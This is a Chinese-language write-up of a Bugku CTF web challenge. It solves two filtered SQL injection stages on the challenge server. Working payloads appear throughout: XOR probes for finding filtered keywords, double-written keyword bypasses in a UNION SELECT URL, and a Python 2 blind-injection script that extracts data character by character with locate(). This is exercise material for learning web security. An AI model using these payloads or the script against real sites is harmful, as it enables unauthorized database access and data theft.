Bugku的web题目(多次)的解题

时间:2023-03-09 23:00:10
Bugku的web题目(多次)的解题

Bugku的web题目(多次)的解题

这道题目我弄了好久,最后问了朋友,然后在朋友的帮助下,将flag找到了

这里写一下解题方法,记录一下

一进到这道题,看到了php?id=1,就很熟悉,很有可能是一道sql注入的题目,肯定是要试一下最简单的测试,(哪怕知道不可能是什么都没有过滤)

Bugku的web题目(多次)的解题

单引号出错

Bugku的web题目(多次)的解题

多加一个%23,发现不出错了

Bugku的web题目(多次)的解题

加上’ and 1=1%23

又出错了,可能是过滤了,但是不知道过滤了什么

这里有一个很好的方法知道过滤的是什么

使用异或注入

Bugku的web题目(多次)的解题

在id=1后面输入 '(0)'

发现不出错,那就将0换成1=1

如果出错,那就是成功了

Bugku的web题目(多次)的解题

通过验证是可以的

也就是说,如果括号里面的判断是假的,那么页面就会显示正确

那么同理,如果我修改里面的内容为length(‘union’)!=0

如果页面显示正确,那就证明length(‘union’)是等于0的,也就是union被过滤了

Bugku的web题目(多次)的解题

发现确实是这样,那就可以在这里进行判断,看看到底那些函数被过滤了

最后发现union,select,or,and被过滤了

limit,from没有被过滤

尝试绕过过滤,既然union这些都是被过滤掉了

那构造ununionion 一旦union被过滤,删除了,那剩下来的还是union,这样就可以起到作用了

Bugku的web题目(多次)的解题

经过测试,用那个方法,确实可以

最终的payload为

http://120.24.86.145:9004/1ndex.php?id=1' anandd 1=2 uniounionn selecselectt 1,2%23

还是一个回显的

Bugku的web题目(多次)的解题

然后测试,找到了一个表为flag1,列名为flag1

Bugku的web题目(多次)的解题

出来一串不知道是什么东西的数据

然后就继续查找,因为提示说有2个flag,那就是还有一个

最后在address这个列里面找到一个网址

Bugku的web题目(多次)的解题

点击进去发现

这道题还没有做完,前面的只是为了找这个链接……

Bugku的web题目(多次)的解题

这里还是一个考注入,那就常规测试一下,加上单引号

Bugku的web题目(多次)的解题

出现报错,还是最常见的报错,那就是要%23注析掉了

Bugku的web题目(多次)的解题

然后继续测试其他的

Bugku的web题目(多次)的解题

1=2出错

Bugku的web题目(多次)的解题

1=1正常

Bugku的web题目(多次)的解题

Order by 2也正常

一切都好顺利

Bugku的web题目(多次)的解题

' union select 1,2%23

出现了过滤,把union过滤了

用之前的方法绕过

Bugku的web题目(多次)的解题

' uniunionon select 1,2%23

发现把select也吃掉了

那就测试一下看看还有那些函数被过滤了

直接在id后面输入函数就可以知道,因为有回显我们输入的数据

Bugku的web题目(多次)的解题

id=1 union select limit from and or where if sleep substr ascii

发现 union sleep substr被过滤了

那就是不能回显,substr也不能用了

我这里用了一个不常用的函数locate()

直接判断查出来的数据里面有那些字符,然后将它们按顺序排序

def user():
flag =''
for j in xrange(1, 100):
temp = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~'
key = 0
for i in temp:
url = "http://120.24.86.145:9004/Once_More.php?id=1'and (select locate(binary'"+str(i)+"',(select user()),"+str(j)+"))="+str(j)+"%23"
r1 = rs.get(url)
# print url
if "Hello" in r1.text:
print str(i)+" -----"+str(j)
flag += str(i)
key = 1
if key ==0:
print "[*] : " + flag
break

Bugku的web题目(多次)的解题

完整代码在我的GitHub里面有

GitHub